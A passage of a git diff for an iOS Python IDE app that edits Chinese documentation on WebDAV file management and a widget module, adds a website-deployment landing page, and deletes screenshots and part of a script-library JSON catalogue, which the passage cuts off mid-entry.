支持按名称、时间、类型等排序,便于查找 | - -**操作建议**:大目录首次加载可能较慢,可配合「收藏夹」固定常用子目录(见下文)。 - ---- - -## File Operations(文件操作) - -| 操作 | 行为说明 | -|------|----------| -| **下载** | 将远程文件保存到 **本地工作区** 指定路径,便于用编辑器完整功能处理 | -| **上传** | 从本地工作区或系统文件选择器上传到当前远程目录 | -| **重命名** | 对远程资源执行 MOVE 语义;成功后列表刷新 | -| **删除** | 删除文件或空目录/目录树(以确认对话框为准,防止误删) | -| **新建文件夹** | MKCOL 创建子目录,用于整理项目结构 | - -> 二进制与文本均可传输;极大文件请注意网络稳定性与服务端单文件限制。 - ---- - -## Editing Remote Text Files(远程文本编辑与 ETag 冲突) - -对支持的文本类型,可在 App 内 **直接打开远程文件** 编辑。 - -| 机制 | 说明 | -|------|------| -| **ETag** | 打开时记录服务端返回的 ETag(或等效版本令牌) | -| **保存前校验** | 再次请求时若 ETag 已变化,说明他处已修改,触发 **冲突提示** | -| **防覆盖** | 避免在不知情的情况下用本地旧内容覆盖云端新版本 | - -**建议流程**:发生冲突时,先 **另存 / 导出副本** 或 **拉取最新** 再合并,不要强行覆盖 unless 你确认云端内容可丢。 - ---- - -## Batch Operations(批量操作) - -在支持 **多选** 的列表模式下,可一次对多个项目执行: - -| 批量动作 | 说明 | -|----------|------| -| **多选删除** | 减少重复确认次数(仍可能有汇总确认) | -| **批量下载** | 将多个文件拉回工作区指定目录 | -| **批量移动** | 在远程目录树内调整位置,整理项目 | - -具体项数上限与进度展示以当前 App 版本为准。 - ---- - -## Favorites and Quick Navigation(收藏夹与快速跳转) - -- 可将 **常用远程路径** 加入收藏夹,避免每次从根目录层层进入。 -- 配合面包屑与搜索,形成「固定入口 + 临时跳转」的工作流。 -- 收藏项通常与 **账号/服务器** 绑定,切换服务器时注意当前上下文。 - ---- - -## Offline Behavior and Caching(离线与缓存) - -| 状态 | 行为 | -|------|------| -| **无网络** | 无法列出目录或保存远程文件;已下载到 **本地工作区** 的文件仍可离线编辑 | -| **弱网** | 列表与传输可能重试或超时;大文件建议在网络稳定时操作 | -| **缓存** | 为提升体验,可能对目录列表或缩略信息进行短期缓存;**以服务端为准** 的操作(删除、移动)成功后应刷新列表 | - -**原则**:把「必须可靠」的副本放在本地工作区并配合系统备份;WebDAV 作为远程源而非唯一备份。 - ---- - -## Security(安全) - -| 项目 | 说明 | -|------|------| -| **HTTPS** | 优先使用 TLS;避免在不可信网络下使用明文 HTTP | -| **Keychain 密码存储** | 账号密码或令牌保存在系统 **钥匙串**,不在明文配置中重复暴露 | -| **自签名证书** | 对自建服务,若使用自签名或私有 CA,可在连接选项中 **按提示信任**(请确认服务器身份后再信任) | -| **应用密码** | 坚果云等厂商要求使用 **应用专用密码**,降低主密码泄露风险 | - ---- - -## Rate Limiting Protection(坚果云频率限制) - -坚果云对 WebDAV **请求频率** 有官方限制,短时间大量请求可能返回 **429** 或类似错误。 - -| 策略 | 说明 | -|------|------| -| **内置节流** | App 对请求进行合并与限速,减少误触高频操作 | -| **指数退避** | 遇到限流时自动 **退避重试**,间隔递增,避免雪崩 | -| **使用建议** | 避免在深层目录频繁刷新;大目录优先用收藏夹固定路径;批量操作分批进行 | - -若持续失败,请稍候再试或登录坚果云网页端查看账号状态。 - ---- - -## Troubleshooting / FAQ(故障排除与常见问题) - -### 连接失败 / 无法验证服务器身份 - -1. 检查 URL、端口、是否 HTTPS。 -2. 自签名证书:确认已在 App 内信任该证书。 -3. 公司网络是否拦截 WebDAV 方法(部分代理仅允许 GET/POST)。 - -### 401 / 403 权限错误 - -1. 用户名与密码是否正确;坚果云是否使用了 **应用密码**。 -2. NextCloud 路径是否包含正确的用户名段。 -3. 群晖是否对该共享文件夹开放了 WebDAV 权限。 - -### 列表空白或超时 - -1. 网络延迟或 NAS 唤醒硬盘较慢,稍后下拉刷新。 -2. 目录下文件极多时,尝试进入子目录或改用收藏夹直达。 - -### 保存时提示冲突 - -说明云端文件已被其它客户端修改。请 **阅读新版本** 或 **另存**,不要直接覆盖 unless 有意为之。 - -### 与 SSH / SFTP 有何区别? - -| 对比 | WebDAV | SSH/SFTP | -|------|--------|----------| -| 协议 | HTTP 扩展 | SSH 子系统 | -| 典型场景 | 网盘、NAS 共享 | Linux 服务器、运维 | -| 终端 | 无 | 有完整 Shell | - -两者在 App 内可并存:WebDAV 管云盘,SSH 管服务器。 - ---- - -## 相关链接 - -- 应用内帮助:**设置 → 帮助** 中亦可查找「模块与原生能力」等条目(若有更新以 App 为准)。 -- 仓库文档:与本说明同目录下的其它 `*-module.md` 为各 Python 模块 API 参考。 - ---- - -*文档描述的功能以各版本 App 实际行为为准;若与最新版 UI 不一致,以应用内界面为准。* diff --git a/docs/website/index.html b/docs/website/index.html new file mode 100644 index 0000000..2e79bce --- /dev/null +++ b/docs/website/index.html @@ -0,0 +1,45 @@ + + + + + + + + + + + + + + + + + PythonIDE 部署网站 — 在手机上创建并上线 + + + +
+ + +
+

PythonIDE 部署网站

在手机上创建网站,
然后真正上线。

手写或使用 AI 生成 HTML,本地预览确认效果,然后发布到一个可持续更新的公网网址。无需配置 Git、服务器或部署工具。

01创建 HTML
02本地预览
03一键部署
04分享网址
+ +

从一个 HTML 文件,到真正的网站。

PythonIDE 会从当前网页所在目录自动收集 HTML、CSS、JavaScript、图片、字体和媒体文件。你不需要选择文件夹,也不需要自己制作压缩包。

+
01

创建 HTML 文件

在 PythonIDE 点按加号新建 HTML,也可以导入已有网页项目。你还可以让 AI 生成页面并继续修改源码。

+
02

本地预览

在“代码”和“预览”之间切换,发布前检查布局、交互、JavaScript、图片和音乐。

+
03

打开“部署”并发布

进入“部署”,PythonIDE 自动检查并安全上传项目,随后生成 HTTPS 公网网址。以后修改代码,更新的仍是同一个地址。

+
+ +

发布你真正想分享的网页。

+
01

个人主页

介绍自己、作品与重要链接。

02

邀请函与纪念页

分享生日、婚礼、纪念日,或只为一个人制作的页面。

03

小游戏与项目 Demo

发布 JavaScript 小游戏、课程作业、原型和交互创意。

04

AI 生成的网站

把一句需求变成可编辑源码,再由你预览并上线。

+
+ +

源码继续由你编辑,网址持续保持不变。

第一版专注静态网站

支持 HTML、CSS、JavaScript、JSON、字体、图片、音频等静态资源,不运行服务器代码或数据库。

网站归属于账号

只有使用云能力时需要登录。换机或重装后,仍可通过 PythonIDE 账号管理网站。

版本化发布

更新失败不会覆盖正在访问的版本;符合权益的套餐还可以保留版本并回滚。

明确的数据边界

部署包仅用于发布网站。公开网页中的 HTML、CSS、JavaScript 和资源本身可以被访问者下载。

+ +

创建文件,预览想法,然后把网站发布出去。

PythonIDE 已在 App Store 提供,支持 iPhone、iPad 与 Mac。

+
+ + +
+ + diff --git a/docs/widget-module.md b/docs/widget-module.md deleted file mode 100644 index 118f71a..0000000 --- a/docs/widget-module.md +++ /dev/null @@ -1,323 +0,0 @@ -# widget 模块 — iOS 桌面小组件 - -用 Python 创建 iOS 桌面和锁屏小组件。提供两种方式:**快捷函数 `show()`**(模板化快速输出)与 **布局 DSL `Widget`**(完全控制画布与嵌套结构)。 - -实现位置:`pyboot/widget.py`(运行时以 `widget` 模块名导入)。 - ---- - -## 尺寸常量 - -| 常量 | 值 | 说明 | -|------|-----|------| -| `SMALL` | `"small"` | 主屏幕小组件(2×2) | -| `MEDIUM` | `"medium"` | 主屏幕中组件(4×2) | -| `LARGE` | `"large"` | 主屏幕大组件(4×4) | -| `CIRCULAR` | `"circular"` | 锁屏圆形 | -| `RECTANGULAR` | `"rectangular"` | 锁屏矩形 | -| `INLINE` | `"inline"` | 锁屏行内 | - -### `family` - -当前运行时的组件尺寸:**动态**从环境变量 `WIDGET_FAMILY` 读取;若未设置,默认 **`MEDIUM`**(`"medium"`)。 - -模块通过 `__getattr__` 实现:每次访问 `widget.family` 都会重新读取环境变量,因此在同一次解释器进程中多次运行脚本时也能得到正确值。 - -```python -from widget import family, SMALL, MEDIUM, LARGE, CIRCULAR - -if family == SMALL: - ... -``` - ---- - -## 方式一:快捷函数 `show()` - -```python -show( - title, - value="", - subtitle="", - progress=None, - color=None, - icon=None, - rows=None, - display_type=None, - style=None, - background=None, - text_color=None, -) -``` - -向小组件输出 **JSON 模板数据**(通过 `print("__WIDGET__...__WIDGET__")` 由主 App 捕获)。适用于简单展示;精细布局请用 `Widget` DSL。 - -### 参数 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 标题(必填位置参数) | -| `value` | `str` | 主要内容,默认 `""` | -| `subtitle` | `str` | 副标题 | -| `progress` | `float` \| `None` | 进度值;序列化前会被限制在 **0.0~1.0**(与 `display_type` 为 `progress` 时配合使用) | -| `color` | `str` \| `None` | 主题色 | -| `icon` | `str` \| `None` | SF Symbol 图标名 | -| `rows` | `list[dict]` \| `None` | 键值行列表;每项可含 `label`、`value`,以及可选 `icon`、`color`(均为字符串) | -| `display_type` | `str` \| `None` | 展示类型:`"text"`、`"progress"`、`"keyvalue"`、`"multiline"`。**为 `None` 时按源码规则自动推断**(见下) | -| `style` | `str` \| `None` | 布局样式;输出字段名为 `layoutStyle` | -| `background` | `str` \| `None` | 背景色;输出字段名为 `backgroundColor` | -| `text_color` | `str` \| `None` | 文字颜色;输出字段名为 `textColor` | - -### `display_type` 自动推断(`display_type is None` 时) - -1. 若 `rows` 为真 → `"keyvalue"` -2. 否则若 `progress is not None` → `"progress"` -3. 否则若 `"\n" in str(value)` **且** `len(str(value)) > 60` → `"multiline"` -4. 否则 → `"text"` - ---- - -## 方式二:布局 DSL — `Widget` 类 - -通过构建节点树并调用 `render()`,输出 `__WIDGET_LAYOUT__...__WIDGET_LAYOUT__` 包裹的 JSON(`version: 2` + `root` 布局树)。 - -### 构造函数 - -```python -Widget(background=None, padding=None) -``` - -| 参数 | 说明 | -|------|------| -| `background` | **可选。** `"system"` → 布局根级使用系统默认(序列化为 `"__SYSTEM__"`)。**纯色**:如 `"#1A1A2E"` 或命名色。**深浅色元组**:`("#FFF", "#111")`(浅色模式、深色模式)。**渐变字典**:`{"gradient": ["#FF6B6B", "#4ECDC4"], "direction": "diagonal"}`;`gradient` 至少 2 色,`direction` 可选。 | -| `padding` | **可选。** 根级内边距(数值,写入布局 JSON 的 `padding`)。 | - ---- - -### 基础元素 - -以下方法均在当前栈顶容器(默认为根 `vstack`)上 **追加一个子节点**,并计入 **节点上限**(见文末「限制」)。 - -#### `text(content, size=None, weight=None, color=None, align=None, max_lines=None, design=None, opacity=None, padding=None, frame=None)` - -| 参数 | 类型 | 说明 | -|------|------|------| -| `content` | `str` | 文字内容 | -| `size` | `int` \| `float` \| `None` | 字号 | -| `weight` | `str` \| `None` | 字重,如:`ultralight`、`thin`、`light`、`regular`、`medium`、`semibold`、`bold`、`heavy`、`black`(原样写入 JSON,由客户端解释) | -| `color` | `str` \| `(light, dark)` \| `[light, dark]` \| `None` | 颜色;元组/列表长度 ≥2 时拆成浅色/深色两字段 | -| `align` | `str` \| `None` | 对齐:`leading`、`center`、`trailing` | -| `max_lines` | `int` \| `None` | 最大行数 → JSON 字段 `maxLines` | -| `design` | `str` \| `None` | 字体设计:`rounded`、`monospaced`、`serif` | -| `opacity` | `float` \| `None` | 不透明度 | -| `padding` | `int` \| `float` \| `None` | 内边距 | -| `frame` | `dict` \| `None` | 如 `{"width": 100, "height": 50}`;仅当为 `dict` 时写入 | - -#### `icon(name, size=None, color=None, weight=None, opacity=None, padding=None, frame=None)` - -| 参数 | 说明 | -|------|------| -| `name` | SF Symbol 名称(字符串) | -| 其余 | 与 `text` 中同名参数含义一致(无 `align`、`max_lines`、`design`) | - -#### `emoji(content, size=None, opacity=None, padding=None)` - -| 参数 | 说明 | -|------|------| -| `content` | Emoji 字符(字符串) | -| `size`、`opacity`、`padding` | 可选,含义同其他元素 | - -#### `spacer(length=None)` - -| 参数 | 说明 | -|------|------| -| `length` | `int` \| `float` \| `None`;**`None` 表示弹性间距**(节点不含 `length` 字段) | - -#### `divider(color=None, opacity=None)` - -分隔线;`color` 支持单色或深浅色元组/列表(与 `_set_color` 一致)。 - -#### `progress(value, total=1.0, color=None, height=None, track_color=None)` - -| 参数 | 说明 | -|------|------| -| `value` / `total` | 进度比为 `value / total`,再 **clamp 到 0.0~1.0** 写入节点 | -| `height` | 进度条高度 | -| `track_color` | 轨道颜色;支持深浅色(写入 `trackColor` / `darkTrackColor`) | - -#### `gauge(value, total=1.0, label=None, size=None, color=None, track_color=None, line_width=None)` - -圆形仪表盘(环形进度)。 - -| 参数 | 说明 | -|------|------| -| `value` / `total` | 同 `progress`,归一化到 0~1 | -| `label` | 中心文字;写入 JSON 字段 `content` | -| `size` | 直径等尺寸 | -| `color` / `track_color` | 弧线与轨道颜色(含深浅色) | -| `line_width` | 线宽;在 JSON 中映射为字段 **`height`**(与 Swift 端约定一致) | - -#### `timer(target=None, style="timer", size=None, weight=None, color=None, design=None, opacity=None, padding=None, frame=None)` - -使用 **WidgetKit 原生** 日期/计时展示,由系统刷新,无需脚本自行推进 timeline。 - -| 参数 | 说明 | -|------|------| -| `target` | `datetime.datetime` 或 **ISO 8601 字符串**;序列化为 `targetDate`。若为 `None`:使用 **`datetime.now().isoformat()`** | -| `style` | `"timer"`(倒计时)、`"relative"`(相对时间)、`"date"`、`"time"`、`"offset"`;写入 `timerStyle` | -| 其余 | 与 `text` 类似:`size`、`weight`、`color`、`design`、`opacity`、`padding`、`frame` | - -源码说明:当 `target is None` 且 `style` 为 `date`/`time` 等时,仍会把「当前时刻」作为 `targetDate` 传入,具体语义由客户端按 `timerStyle` 解释。 - -#### `image(name, width=None, height=None, corner_radius=None, opacity=None, padding=None, content_mode=None)` - -显示通过 **`save_image()`** 预先缓存的图片(按名称引用)。 - -| 参数 | 说明 | -|------|------| -| `name` | 缓存名(与 `save_image(..., name)` 一致,无扩展名) | -| `width` / `height` | 可选,写入 `frame` | -| `corner_radius` | 圆角 → JSON `cornerRadius` | -| `opacity`、`padding` | 可选 | -| `content_mode` | 非空时写入;`"fit"`(文档字符串中的默认语义)或 `"fill"` 等,由客户端解析 | - ---- - -### 容器 - -均通过 **`with`** 使用:进入时在节点栈压入该容器,退出时弹出。子元素在 `with` 块内追加到该容器。 - -**通用可选参数**(`hstack` / `vstack` / `zstack` / `card` 在源码中的组合略有差异,见下): - -- `spacing`:`hstack` / `vstack` / **`card`** 支持;**`zstack` 无 spacing 参数**(内部传入 `None`)。 -- `align`、`padding`、`background`(纯色 / 深浅色 / 渐变字典)、`opacity`、`corner_radius`、`border_color`、`border_width`、`url`(点击跳转 deep link,字符串) - -`background` 在容器上的解析规则与根级一致:渐变写入 `gradient` + `gradientDirection`;纯色写入 `background` / `darkBg`。 - -#### `hstack(...)` - -水平排列子节点。 - -#### `vstack(...)` - -垂直排列子节点。根布局在内部也是一个 **`spacing: 0` 的 `vstack`**。 - -#### `zstack(align=None, ...)` - -叠加布局;**无 `spacing` 参数**。 - -#### `card(background=None, corner_radius=None, padding=None, spacing=None, opacity=None, align=None, border_color=None, border_width=None, url=None)` - -圆角卡片容器;类型为 `card`,支持渐变/纯色背景与边框。 - ---- - -### 渲染输出:`render(url=None)` - -将当前布局树序列化为 JSON 并 **`print`**,供主 App 捕获。 - -| 参数 | 说明 | -|------|------| -| `url` | **可选。** 小组件点击跳转的 deep link(写入布局根对象);也可在各容器 `url` 上单独指定 | - -**必须在脚本末尾调用**(或至少在构建完所有节点后调用),否则不会输出布局。 - ---- - -## `save_image()` 函数 - -```python -save_image(source, name) -``` - -将图片写入小组件可用的缓存通道(通过特殊格式的 `print` 输出,由 App 解析)。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `source` | `str` \| `bytes` | **`str`**:本地文件路径,按二进制读取;**`bytes`**:原始图像数据 | -| `name` | `str` | 缓存引用名(**不要扩展名**),与 `Widget.image(name)` 对应 | - -### 行为(与源码一致) - -- 若 `source` 既不是 `str` 也不是 `bytes`,抛出 **`TypeError`**。 -- 若数据大小 **超过 512KB**:向 **stderr** 打印中文警告,然后调用 **`_compress_image`**: - - 若已安装 **PIL**:尝试以 JPEG 质量阶梯压缩,必要时缩小尺寸,直至不超过 512KB。 - - 若 **无法导入 PIL**:**截断**为前 `512 * 1024` 字节(可能损坏图片文件,建议安装 PIL)。 - -模块顶部的 `save_image` 文档字符串中提到的 `ValueError` 与当前实现不一致;**实际实现以压缩/截断为主**,不单纯因超限抛错。 - -**典型用法:** - -```python -save_image("/path/to/img.png", "my_pic") -# 之后在 DSL 中: -w.image("my_pic", width=60, height=60, corner_radius=8) -``` - ---- - -## 颜色系统 - -与 `_resolve_color` / `_set_background` / `_set_color` 行为一致: - -1. **单色字符串**:`"#FF6B6B"`、`"red"`、`"white"` 等。 -2. **深浅色适配**:`("#000", "#FFF")` 或 `["#000", "#FFF"]`(至少 2 个元素)→ 浅色模式用第一项,深色模式用第二项(对应 JSON 中的 `dark*` 字段)。 -3. **渐变**(根、`Widget` 背景、容器、`card`):`{"gradient": ["#FF6B6B", "#4ECDC4"], "direction": "diagonal"}` - - `gradient`:至少两种颜色。 - - `direction`(可选):`"diagonal"`(默认)、`"horizontal"`、`"vertical"`、`"reverse_diagonal"`。 - ---- - -## 限制 - -1. **节点上限:50** - 每追加一个节点(含 `text`、`icon`、`spacer`、`divider`、`progress`、`gauge`、`timer`、`image` 以及每个容器节点等),内部计数器 `+1`。 - - 当计数达到 **45**(`_MAX_NODES - 5`)时,向 **stderr** 打印警告。 - - 当计数 **超过 50** 时,抛出 **`RuntimeError`**(第 51 个节点添加时触发)。 - -2. **图片大小** - 单张原始数据 **> 512KB** 时会触发压缩逻辑(见 `save_image`);目标为不超过 512KB 的缓存策略。 - ---- - -## 完整示例 - -```python -from widget import Widget, family, SMALL, MEDIUM, save_image - -w = Widget(background=("#1a1a2e", "#0f0f1a")) - -with w.vstack(spacing=8, padding=12): - w.text("🔥 今日目标", size=13, color="#aaa") - with w.hstack(spacing=12): - w.gauge(0.75, label="75%", size=50, color="#FF6B6B", track_color="#333") - with w.vstack(spacing=4, align="leading"): - w.text("步数 8,432", size=14, weight="semibold", color="white") - w.text("目标 10,000", size=12, color="#888") - w.divider(color="#333") - w.progress(0.6, color="#4ECDC4", height=6, track_color="#222") - -w.render() -``` - -可按 `family` 分支为 `SMALL` / `MEDIUM` 等编写不同布局(同一脚本会被系统按尺寸多次执行)。 - ---- - -## 注意事项 - -1. **多次运行与 `family`**:系统通常会 **按每种小组件尺寸分别调用** 脚本;用 **`family`**(环境变量 `WIDGET_FAMILY`)判断当前这一次对应哪一档尺寸。 -2. **渐变背景**:支持在 **`Widget` 根**、**`hstack` / `vstack` / `zstack`** 以及 **`card`** 上使用渐变字典。 -3. **`render()`**:必须在构建完整棵树之后调用(一般在 **脚本末尾**),否则不会输出布局 JSON。 -4. **`timer`**:基于 **WidgetKit** 原生能力,倒计时可精确到秒级显示,**无需**在 Python 侧手动刷新 timeline。 -5. **快捷方式 `show()`**:适合模板化数据;需要 SF Symbol、渐变、嵌套卡片等能力时,优先使用 **`Widget` DSL**。 - ---- - -## 与 Swift / App 的契约摘要 - -- `show()` → 单行打印:`__WIDGET__` + JSON + `__WIDGET__` -- `Widget.render()` → 单行打印:`__WIDGET_LAYOUT__` + JSON + `__WIDGET_LAYOUT__` -- `save_image()` → 含 `__WIDGET_IMG__{name}:{base64}__WIDGET_IMG__` 的输出 - -详细字段名以 `pyboot/widget.py` 中构建的 `dict` 为准(如 `layoutStyle`、`backgroundColor`、`maxLines`、`contentMode`、`timerStyle`、`targetDate` 等)。 diff --git "a/docs/\345\267\245\345\205\267\347\256\261.png" "b/docs/\345\267\245\345\205\267\347\256\261.png" deleted file mode 100644 index 92ae33c..0000000 Binary files "a/docs/\345\267\245\345\205\267\347\256\261.png" and /dev/null differ diff --git "a/docs/\345\272\223\347\256\241\347\220\206.png" "b/docs/\345\272\223\347\256\241\347\220\206.png" deleted file mode 100644 index 606383c..0000000 Binary files "a/docs/\345\272\223\347\256\241\347\220\206.png" and /dev/null differ diff --git "a/docs/\346\216\247\345\210\266\345\217\260\351\241\265\351\235\242.png" "b/docs/\346\216\247\345\210\266\345\217\260\351\241\265\351\235\242.png" deleted file mode 100644 index b959237..0000000 Binary files "a/docs/\346\216\247\345\210\266\345\217\260\351\241\265\351\235\242.png" and /dev/null differ diff --git "a/docs/\346\226\260\345\273\272\346\226\207\344\273\266.png" "b/docs/\346\226\260\345\273\272\346\226\207\344\273\266.png" deleted file mode 100644 index be272fa..0000000 Binary files "a/docs/\346\226\260\345\273\272\346\226\207\344\273\266.png" and /dev/null differ diff --git "a/docs/\347\274\226\350\276\221\351\241\265\351\235\242.png" "b/docs/\347\274\226\350\276\221\351\241\265\351\235\242.png" deleted file mode 100644 index e720db7..0000000 Binary files "a/docs/\347\274\226\350\276\221\351\241\265\351\235\242.png" and /dev/null differ diff --git "a/docs/\350\256\276\347\275\256.png" "b/docs/\350\256\276\347\275\256.png" deleted file mode 100644 index a1ba611..0000000 Binary files "a/docs/\350\256\276\347\275\256.png" and /dev/null differ diff --git "a/docs/\351\246\226\351\241\265.png" "b/docs/\351\246\226\351\241\265.png" deleted file mode 100644 index 3c47eaa..0000000 Binary files "a/docs/\351\246\226\351\241\265.png" and /dev/null differ diff --git a/script_library/index.json b/script_library/index.json deleted file mode 100644 index 4961813..0000000 --- a/script_library/index.json +++ /dev/null @@ -1,1867 +0,0 @@ -{ - "format_version": 1, - "data_version": 109, - "updated": "2026-04-30T05:00:37.853Z", - "announcement": null, - "categories": [ - { - "id": "basic", - "name": "基础脚本", - "name_en": "Basics", - "desc": "Python 基础功能演示", - "desc_en": "Python fundamentals & demos", - "icon": "curlybraces", - "sort": 1, - "color": "#4A90D9" - }, - { - "id": "ui", - "name": "UI 界面", - "name_en": "UI", - "desc": "原生 iOS 界面开发", - "desc_en": "Native iOS UI development", - "icon": "paintbrush.fill", - "sort": 2, - "color": "#E85D75" - }, - { - "id": "games", - "name": "游戏", - "name_en": "Games", - "desc": "Scene 模块 2D 游戏", - "desc_en": "2D games with Scene module", - "icon": "gamecontroller.fill", - "sort": 3, - "color": "#50C878" - }, - { - "id": "widgets", - "name": "小组件", - "name_en": "Widgets", - "desc": "桌面小组件脚本", - "desc_en": "Home screen widget scripts", - "icon": "square.grid.2x2", - "sort": 4, - "color": "#F5A623" - }, - { - "id": "other", - "name": "其他格式", - "name_en": "Other Formats", - "desc": "HTML / Markdown / JS", - "desc_en": "HTML / Markdown / JS", - "icon": "globe", - "sort": 5, - "color": "#9B59B6" - } - ], - "featured": [], - "scripts": [ - { - "id": "brick_breaker", - "name": "霓虹弹球", - "name_en": "Neon Brick Breaker", - "desc": "经典打砖块重制版。60级关卡、7种道具、连击火焰、粒子爆炸、HUD安全区适配", - "desc_en": "Classic brick breaker with 60 levels, 7 power-ups, combo flames, particle effects", - "category": "games", - "file": "scripts/games/brick_breaker.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "particle", - "game", - "brick" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 627 - }, - { - "id": "space_shooter", - "name": "太空射击", - "name_en": "Space Shooter", - "desc": "纵向卷轴射击游戏。手指控制飞船,自动射击,4种敌机、Boss战、连击系统、粒子爆炸", - "desc_en": "Vertical shooter with 4 enemy types, boss fights, combo system, particle explosions", - "category": "games", - "file": "scripts/games/space_shooter.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "particle", - "game", - "shooter" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 352 - }, - { - "id": "gravity_maze", - "name": "重力迷宫", - "name_en": "Gravity Maze", - "desc": "利用设备重力感应控制小球穿越迷宫,收集星星,躲避障碍", - "desc_en": "Tilt your device to guide the ball through mazes, collect stars, avoid obstacles", - "category": "games", - "file": "scripts/games/gravity_maze.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "gravity", - "accelerometer", - "game", - "maze" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 298 - }, - { - "id": "neon_snake", - "name": "霓虹贪吃蛇", - "name_en": "Neon Snake", - "desc": "赛博朋克风贪吃蛇。方向键+滑动操控、虚拟方向键、墙壁障碍、道具系统、连击计分", - "desc_en": "Cyberpunk snake game with D-pad + swipe controls, wall obstacles, power-ups, combo scoring", - "category": "games", - "file": "scripts/games/neon_snake.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "game", - "snake", - "dpad" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 500 - }, - { - "id": "jump_tower", - "name": "无尽跳塔", - "name_en": "Endless Jump Tower", - "desc": "无尽垂直跳跃游戏。触屏控制移动方向,自动弹跳,多种平台类型,越高难度越大", - "desc_en": "Endless vertical jumper with auto-bounce, multiple platform types, increasing difficulty", - "category": "games", - "file": "scripts/games/jump_tower.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "game", - "jump", - "endless" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 350 - }, - { - "id": "whack_mole", - "name": "极速打地鼠", - "name_en": "Whack-a-Mole", - "desc": "限时打地鼠挑战。普通/金色/炸弹三种地鼠,连击加分,粒子特效,多关卡递进", - "desc_en": "Timed whack-a-mole with 3 mole types, combo bonuses, particle effects, progressive levels", - "category": "games", - "file": "scripts/games/whack_mole.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "官方", - "author_en": "Official", - "tags": [ - "scene", - "touch", - "game", - "whack", - "timer" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 427 - }, - { - "id": "script_mmw6yzdm", - "name": "计算器", - "name_en": "计算器", - "desc": "iOS原生风格的计算器ui界面", - "desc_en": "iOS原生风格的计算器ui界面", - "category": "ui", - "file": "scripts/ui/script_mmw6yzdm.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 144 - }, - { - "id": "script_mmw77ur1", - "name": "俄罗斯方块", - "name_en": "俄罗斯方块", - "desc": "俄罗斯方块小游戏,AI制作", - "desc_en": "俄罗斯方块小游戏,AI制作", - "category": "games", - "file": "scripts/games/script_mmw77ur1.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎🐯", - "author_en": "今晚打老虎🐯", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 603 - }, - { - "id": "script_mmw8jszb", - "name": "霓虹塔防", - "name_en": "霓虹塔防", - "desc": "塔防游戏总共十次进攻", - "desc_en": "塔防游戏总共十次进攻", - "category": "games", - "file": "scripts/games/script_mmw8jszb.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 616 - }, - { - "id": "script_mmw9b6wi", - "name": "水果忍者", - "name_en": "水果忍者", - "desc": "水果忍者儿童的回忆", - "desc_en": "水果忍者儿童的回忆", - "category": "games", - "file": "scripts/games/script_mmw9b6wi.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎🐯", - "author_en": "今晚打老虎🐯", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 616 - }, - { - "id": "script_mmw9k80z", - "name": "节奏大师", - "name_en": "节奏大师", - "desc": "节奏大师你能玩的过吗", - "desc_en": "节奏大师你能玩的过吗", - "category": "games", - "file": "scripts/games/script_mmw9k80z.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎", - "author_en": "今晚打老虎", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 563 - }, - { - "id": "script_mmwa0ets", - "name": "习惯追踪器", - "name_en": "习惯追踪器", - "desc": "习惯追踪器", - "desc_en": "习惯追踪器", - "category": "widgets", - "file": "scripts/widgets/script_mmwa0ets.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "今晚打老虎🐯", - "author_en": "今晚打老虎🐯", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-18", - "updated": null, - "status": "active", - "lines": 95 - }, - { - "id": "script_mmx89esh", - "name": "飞鸟", - "name_en": "飞鸟", - "desc": "太难了第一个柱子都过不了", - "desc_en": "太难了第一个柱子都过不了", - "category": "games", - "file": "scripts/games/script_mmx89esh.py", - "thumbnail": null, - "version": 1, - "file_type": "py", - "author": "伟大的我", - "author_en": "伟大的我", - "tags": [ - "community" - ], - "requires": [], - "min_app_version": "1.5.0", - "added": "2026-03-19", - "updated": null, - "status": "active", - "lines": 201 - }, - { - "id": "script_mmyy8nf3", - "name": "计算器", - "name_en": "计算器", - "desc": "灰太狼开发", - "desc_en": "灰太狼开发", - "category": "ui", - "file": "scripts/ui/script_mmyy8nf3.py", - "thumbnail": null, - "version": 1, - "file_type": 